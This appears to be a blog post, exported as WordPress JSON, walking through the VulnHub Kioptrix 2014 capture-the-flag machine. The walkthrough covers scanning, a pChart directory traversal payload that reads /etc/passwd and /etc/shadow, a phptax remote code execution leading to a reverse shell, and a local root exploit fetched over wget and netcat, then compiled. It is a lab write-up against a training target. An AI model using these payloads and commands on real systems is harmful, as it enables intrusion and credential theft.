{"id":1046,"date":"2021-03-26T18:44:28","date_gmt":"2021-03-26T10:44:28","guid":{"rendered":"https:\/\/byy3.com\/?p=1046"},"modified":"2021-03-26T18:51:40","modified_gmt":"2021-03-26T10:51:40","slug":"vulnhub-kioptrix-2014","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1046","title":{"rendered":"VulnHub: Kioptrix: 2014"},"content":{"rendered":"
\n
\n
\n
\n
\n

Link:\u00a0https:\/\/www.vulnhub.com\/entry\/kioptrix-2014-5,62\/<\/a><\/p>\n

    \n
  1. Network Discovery<\/li>\n<\/ol>\n
    nmap -sn 10.0.2.24\/24<\/span><\/pre>\n
    The target IP is 10.0.2.20.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    2. Port scan<\/p>\n
    nmap -Pn 10.0.2.20<\/span>nmap -Pn -p1000 10.0.2.20<\/span><\/pre>\n
    There\u2019re 2 open ports: 80 and 8080.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    3. OS and service scan<\/p>\n
    nmap -A -p22,80,8080 10.0.2.20<\/span><\/pre>\n
    There\u2019re HTTP sites on both ports.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    4. Vuln scan<\/p>\n
    nmap --script vuln -p22,80,8080 10.0.2.20<\/span><\/pre>\n
    Couldn't find any more useful information.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    5. Nikto scan<\/p>\n
    Port 80<\/p>\n
    nikto -h http:\/\/10.0.2.20<\/a><\/span><\/pre>\n
    This system may be vulnerable to a remote buffer overflow.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Port 8080<\/p>\n
    nikto -h http:\/\/10.0.2.20<\/a>:8080<\/span><\/pre>\n
    The result was similar to port 80\u2019s.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    6. Directory scan<\/p>\n
    Port 80<\/p>\n
    gobuster dir --wordlist \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt -u http:\/\/10.0.2.20\/<\/a> -x php,txt,html,sh,c\r\ngi -q<\/span><\/pre>\n
    \/index.html<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Port 8080<\/p>\n
    gobuster dir --wordlist \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt -u http:\/\/10.0.2.20\/<\/a>:8080 -x php,txt,html,sh,c\r\ngi -q<\/span><\/pre>\n
    I got a 403 return code.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    7. Exploit w\/ mod_ssl<\/p>\n
    I came across this script.<\/p>\n
    \n
    \n
    \n
    heltonWernik\/OpenLuck<\/h2>\n
    \n
    Original is OpenFu*&%$#, I change for something more elegant This Exploit ( https:\/\/www.exploit-db.com\/exploits\/764\/)\u2026<\/h3>\n<\/div>\n
    \n
    github.com<\/p>\n<\/div>\n<\/div>\n
    \n
    <\/div>\n<\/div>\n<\/div>\n<\/div>\n
    From previous Nikto scan:<\/p>\n
    Server: Apache\/2.2.21 (FreeBSD) mod_ssl\/2.2.21 OpenSSL\/0.9.8q DAV\/2 PHP\/5.3.8<\/span><\/pre>\n
    There\u2019s no co<\/span>rrect version in this script. I\u2019ll have to try another way.<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    8. Accessing HTTP site<\/p>\n
    Start w\/ port 80<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    View page source -> pChart2.1.3<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Accessing port 8080<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Viewing page source showed nothing<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Back to port 80, I googled pChart2.1.3. and came across the exploit-db site.<\/p>\n
    \n
    \n
    \n
    Offensive Security's Exploit Database Archive<\/h2>\n
    \n
    Exploit Title: pChart 2.1.3 Directory Traversal and Reflected XSS # Date: 2014-01-24 # Exploit Author: Balazs Makany #\u2026<\/h3>\n<\/div>\n
    \n
    www.exploit-db.com<\/p>\n<\/div>\n<\/div>\n
    \n
    <\/div>\n<\/div>\n<\/div>\n<\/div>\n
    Starting w\/ Directory Traversal<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Test the exploit<\/p>\n
    Acces pChart, intercept request w\/ Burp Suite, and send to the Repeater<\/p>\n
    http:\/\/10.0.2.20\/pChart2.1.3\/examples\/index.php<\/a><\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Test the exploit<\/p>\n
    \/pChart2.1.3\/examples\/index.php?Action=View&Script=%2f..%2f..%2fetc\/passwd<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    \/pChart2.1.3\/examples\/index.php?Action=View&Script=%2f..%2f..%2fetc\/shadow<\/span><\/pre>\n
    I don\u2019t have permission to view this.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Back to the site on port 8080, I suspected that it returned forbidden status (403) because I didn't have the right agent.<\/p>\n
    user-agent configuration is located in<\/p>\n
    \/usr\/local\/etc\/apache22\/httpd.conf<\/span><\/pre>\n
    Let\u2019s try w\/ the exploit<\/p>\n
    Success!!!<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    After reading through the file, I found that user-agent was set to be Mozilla 4.0<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    I used this list of agents<\/p>\n
    Link:\u00a0https:\/\/gist.github.com\/pzb\/b4b6f57144aea7827ae4<\/a><\/p>\n
    I used agent-switcher plugin w\/ firefox and I can access the site.<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    It\u2019s phptax.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Viewing page source revealed nothing<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Googling phptax exploit<\/p>\n
    \n
    \n
    \n
    Offensive Security's Exploit Database Archive<\/h2>\n
    \n
    phptax 0.8 - Remote Code Execution. CVE-86992 . webapps exploit for PHP platform<\/h3>\n<\/div>\n
    \n
    www.exploit-db.com<\/p>\n<\/div>\n<\/div>\n
    \n
    <\/div>\n<\/div>\n<\/div>\n<\/div>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    I will set up listener for reverse shell on port 1234<\/p>\n
    \n
    \n
    \n
    swisskyrepo\/PayloadsAllTheThings<\/h2>\n
    \n
    A list of useful payloads and bypass for Web Application Security and Pentest\/CTF - swisskyrepo\/PayloadsAllTheThings<\/h3>\n<\/div>\n
    \n
    github.com<\/p>\n<\/div>\n<\/div>\n
    \n
    <\/div>\n<\/div>\n<\/div>\n<\/div>\n
    I succeeded using this.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Edit IP and encode to URL w\/ Burp Suite<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Modified exploit string w\/ encoded reverse shell command<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Paste it to the browser, now I have a shell<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    9. Privilege escalation<\/p>\n
    Verify user<\/p>\n
    whoami<\/span><\/pre>\n
    Seaching for password in:<\/p>\n
    \/home, \/tmp, \/var\/mail, \/var\/log<\/span><\/pre>\n
    I couldn't find any usernames or passwords<\/p>\n
    Verify \/etc\/passwd permission<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Verify \/etc\/shadow permission<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Verify sudo<\/p>\n
    sudo -l<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Verify SUID<\/p>\n
    find \/ -perm -u=s -type f 2>\/dev\/null<\/span><\/pre>\n
    Nothing that I can use.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Verify capabilities<\/p>\n
    getcap -r \/ 2>\/dev\/null<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Verify cron<\/p>\n
    cat \/etc\/crontab<\/span><\/pre>\n
    Nothing that I can use.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Verify kernel<\/p>\n
    uname -a<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Googling up, I found 3 scripts.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Tried the first script<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    searchsploit -m 28718<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Prepare HTTP server at attacker machine<\/p>\n
    python -m SimpleHTTPServer 80<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Prepare to store at \/tmp on target machine<\/p>\n
    cd \/tmp<\/span>wget http:\/\/10.0.2.27\/28718.c<\/span><\/pre>\n
    I don\u2019t have get command.<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    I\u2019ll retrive w\/ netcat instead.<\/p>\n
    On attacker machince<\/p>\n
    nc -nvlp 1337 < 28718.c<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    On target machine<\/p>\n
    nc -nv 10.0.2.7 1337 > priv.c<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Compile<\/p>\n
    gcc priv.c -o priv<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Run the compiled script<\/p>\n
    .\/priv<\/span>whoami<\/span><\/pre>\n
    Now I\u2019m root.<\/p>\n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    cd \/root<\/span>ls -la<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    cat congrats.txt<\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"VulnHub:<\/div>\n
    \"VulnHub:<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n<\/div>\n<\/article>\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    ratiros01<\/h2>\n<\/div>\n